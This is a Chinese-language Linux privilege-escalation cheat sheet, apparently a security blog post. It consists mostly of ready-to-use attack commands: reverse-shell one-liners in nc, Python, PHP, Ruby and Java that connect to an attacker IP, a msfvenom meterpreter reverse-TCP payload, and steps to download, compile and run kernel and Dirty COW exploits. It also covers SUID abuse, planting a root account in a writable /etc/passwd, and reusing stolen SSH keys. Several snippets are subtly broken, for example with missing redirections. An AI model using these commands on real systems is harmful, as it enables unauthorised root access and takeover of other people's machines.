在Linux系统中,提权是指获取更高的权限,这通常通过使用特定的命令或工具来完成,在这篇文章中,我们将探讨一些常见的Linux提升权限的技巧:常用提权命令,反弹shell,获取完整交互式SHELL,Linux内核漏洞提权,脏牛提权,metasploit linux提权,SUID提权,passwd提权,ssh密钥提权
常用命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | uname -a #查看内核/操作系统/cpu信息 hend -n 1 /etc/issue #查看操作系统版本 cat /proc/version #查看系统信息 hostname #查看计算机名 env #查看环境变量 ifconfig #查看网卡 netstat -lntp # 查看所有监听端口 netstat -antp # 查看所有已经建立的连接 netstat -s # 查看网络统计信息 iptables -L #查看防火墙设置 route -n # 查看路由表 ps -ef # 查看所有进程 top # 实时显示进程状态 w # 查看活动用户 id # 查看指定用户信息 last # 查看用户登录日志 cut -d: -f1 /etc/passwd # 查看系统所有用户 cut -d: -f1 /etc/group # 查看系统所有组 crontab -l # 查看当前用户的计划任务 chkconfig –list # 列出所有系统服务 chkconfig –list | grep on # 列出所有启动的系统服务 echo $PATH #查看系统路径 which nc #查找nc的路径 |
反弹shell
bash反弹
1 | http: //t .csdn.cn /IAItm |
nc反弹
1 2 3 4 | nc -e /bin/sh 192.168.10.128 6666 #但某些版本的nc没有-e参数(非传统版),则可使用以下方式解决 rm /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1| nc 192.168.10.128 6666 > /tmp/f |
python反弹
1 2 3 4 5 6 7 | import socket,subprocess,os s =socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(( "192.168.10.128" , 6666 )) os.dup2(s.fileno(), 0 ) os.dup2(s.fileno(), 1 ) os.dup2(s.fileno(), 2 ) p = subprocess.call([ "/bin/bash" , "-i" ]) |
php反弹shell
1 | php -r '$sock=fsockopen("192.168.2.130",4444);exec("/bin/sh -i &3 2>&3");' |
ruby反弹shell
1 2 | ruby -rsocket -e'f=TCPSocket. open ( "10.0.0.1" ,1234).to_i; exec sprintf(" /bin/sh -i &%d 2>&%d",f,f,f)' |
java反弹shell
1 2 3 | r = Runtime.getRuntime() p = r. exec ([ "/bin/bash" , "-c" , "exec 5/dev/tcp/10.0.0.1/2002;cat &5 >&5; done" ] as String[]) p.waitFor() |
xterm反弹shell
1 | xterm -display 10.0.0.1:1 |
获取完整交互式SHELL
su root su:必须从终端中执行
python伪终端
终端有些时候系统的命令终端不允许直接访问,可以使用python虚拟化一个终端来执行
1 2 3 | python -c 'import pty;pty.spawn("/bin/bash")' python3 -c 'import pty;pty.spawn("/bin/bash")' |
Linux反弹shell解决乱码
1 2 3 4 5 6 7 | bash #从zsh切换到bash nc -lvp 6666 python3 -c 'import pty;pty.spawn("/bin/bash")' ctrl+z #将伪终端放置后台任务 stty - echo raw #设置原始格式 fg %1 #再调用后台任务(输入时无显示) reset #初始化 |
Linux内核漏洞提权
利用堆栈溢出漏洞,根据当前系统寻找对应的漏洞的exp,使用exp对其进行提权。
1 2 3 4 5 6 | uname -a #查看内核/操作系统/cpu信息 uname - v cat /proc/version #内核信息 cat /etc/issue #发行信息 cat /etc/redhat-release #发行信息 lsb_release -a #显示发行版本信息 |
Linux version 3.19.0-15-generic
Ubuntu 15.04 Release
根据linux的内核版本查找对应的exp
1 2 3 4 5 6 7 8 9 | searchsploit -t Ubuntu 15.04 #只利用标题搜索 searchsploit -s Ubuntu 15.04 #执行严格搜索,禁止对版本范围进行模糊搜索 searchsploit -s Linux Kernel 3.19.0 searchsploit -x linux /local/37088 .c #检查或打开漏洞 searchsploit -m linux /local/37088 .c #将一个漏洞复制到当前的工作目录 wget http: //192 .168.10.128 /37088 .c -O /tmp/37088 .c gcc 37088.c -o exp chmod +x exp . /exp |
脏牛提权 CVE-2016-5195
该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞, 导致可以破坏私有只读内存映射。黑客可以在获取低权限的的本地用户后,利用此漏洞获取 其他只读内存映射的 写权限,进一步获取 root 权限。
漏洞范围
以下是主流发行版修复之后的内核版本,如果你的内核版本低于列表里的版本,表示还存在脏牛漏洞
1 2 3 4 5 6 7 8 | Centos7 /RHEL7 3.10.0-327.36.3.el7 Cetnos6 /RHEL6 2.6.32-642.6.2.el6 Ubuntu 16.10 4.8.0-26.28 Ubuntu 16.04 4.4.0-45.66 Ubuntu 14.04 3.13.0-100.147 Debian 8 3.16.36-1+deb8u2 Debian 7 3.2.82-1 Linux内核 >= 2.6.22(2007年发行,到2016年10月18日才修复) |
1 2 3 4 5 6 | https: //github .com /FireFart/dirtycow/blob/master/dirty .c wget http: //192 .168.10.128 /dirty .c -O /tmp/dirty .c gcc -pthread dirty.c -o dirty -lcrypt chmod +x dirty . /dirty 123456 mv /tmp/passwd .bak /etc/passwd |
1 2 3 4 5 6 7 8 9 | cat /etc/passwd firefart:fi8RL.Us0cfSs:0:0:pwned: /root : /bin/bash python3 -c 'import pty;pty.spawn("/bin/bash")' su firefart cat /etc/shadow |
metasploit linux提权
1 2 3 4 5 6 7 8 9 10 11 12 13 | msfvenom -p php /meterpreter_reverse_tcp LHOST=192.168.10.128 LPORT=12345 -f raw > . /shell .php msfconsole use exploit /multi/handler set payload php /meterpreter_reverse_tcp set lhost 192.168.10.128 set lport 12345 exploit // 访问shell.php文件时就会获取一个session shell |
提权命令
使用模块查询漏洞
1 | run post /multi/recon/local_exploit_suggester |
1 2 3 4 5 6 7 | getuid 查看当前用户 shell 使用终端 https: //www .exploit-db.com /exploits/37292 gcc 37292.c -o exp chmod +x exp . /exp |
SUID提权
SUID是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行 时,使调用者暂时获得该文件拥有者的权限。也就是如果ROOT用户给某个可执行文件加了S权限,那么 该执行程序运行的时候将拥有ROOT权限。
1 2 | chmod 4750 a.txt 4 说明 SUID 位被设置 |
SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限(仅对拥有执行权限的二进制程序有效)。例如,所有用户都可以执行passwd命令来修改自己的用户密码,而用户密码保存在/etc/shadow文件中。仔细查看这个文件就会发现它的默认权限是000,也就是说除了root管理员以外,所有用户都没有查看或编辑该文件的权限。但是,在使用passwd命令时如果加上SUID特殊权限位,就可让普通用户临时获得程序所有者的身份,把变更的密码信息写入到shadow文件中。
1 2 3 4 5 | ls -al /etc/shadow -rw-r----- ls -al /bin/passwd -rwsr-xr-x |
查找SUID文件
以下命令可以发现系统上运行的所有SUID可执行文件
1 2 3 4 5 6 7 8 9 10 | find / -perm -u=s - type f 2> /dev/null find / -user root -perm -4000-print2> /dev/null find / -user root -perm -4000- exec ls -ldb {} ; /表示从文件系统的顶部(根)开始并找到每个目录 -perm 表示搜索随后的权限 -u = s表示查找root用户拥有的文件 - type 表示我们正在寻找的文件类型 f 表示常规文件,而不是目录或特殊文件 2表示该进程的第二个文件描述符,即stderr(标准错误) |
常见suid提权文件
nmap vim find more less bash cp Nano mv awk man wgets
https://gtfobins.github.io/
1 2 3 | sudo install -m =xs $( which less ) . . /less file_to_read |
passwd提权
1 2 3 4 5 6 7 8 9 10 11 12 | ls -al /etc/passwd -rw-rw-rw-- 1 cc cc 2242 7月 13 11:23 /etc/passwd #这里要求至少有w权限 root:x:0:0:root: /root : /bin/bash openssl passwd -1 -salt coleak a123 $1$coleak$ryLF7yBUFqHmhDrl7czEK1 coleak:$1$coleak$ryLF7yBUFqHmhDrl7czEK1:0:0: /root : /bin/bash wget http: //192 .168.10.128 /a -O /etc/passwd ssh coleak@192.168.10.157 #su coleak |
ssh密钥提权
查看拥有bash的用户
1 2 3 | cat /etc/passwd | grep bash find / -name authorized_keys - type f 2> /dev/null cd /home/webper/ . ssh |
.ssh下文件含义
id_rsa(私钥)服务器上经过rsa算法生成的私钥。与公钥是一对的密钥对,用于连接其他服务器用。
id_rsa.pub(公钥)服务器上经过rsa算法生成的公钥。与私钥是一对的密钥对,用于连接其他服务器用。将主机A的id_rsa.pub内容copy到B主机的authorized_keys文件中,这样A主机就能不通过密码连接到B主机。
authorized_keys(授权文件)实现真正无密码连接,即为授权文件,当把master的公钥添加到authorized_keys文件中后,下次连接直接输入ssh master即可,不需要再次输入密码。
如果目标有使用id_rsa私钥
进行登陆,并且我们有权限读取
可以将id_rsa下载或复制下来使用私钥进行登陆
1 2 3 4 | md5sum id_rsa.pub md5sum authorized_keys chmod 600 id_rsa ssh -i id_rsa web1@192.168.10.153 |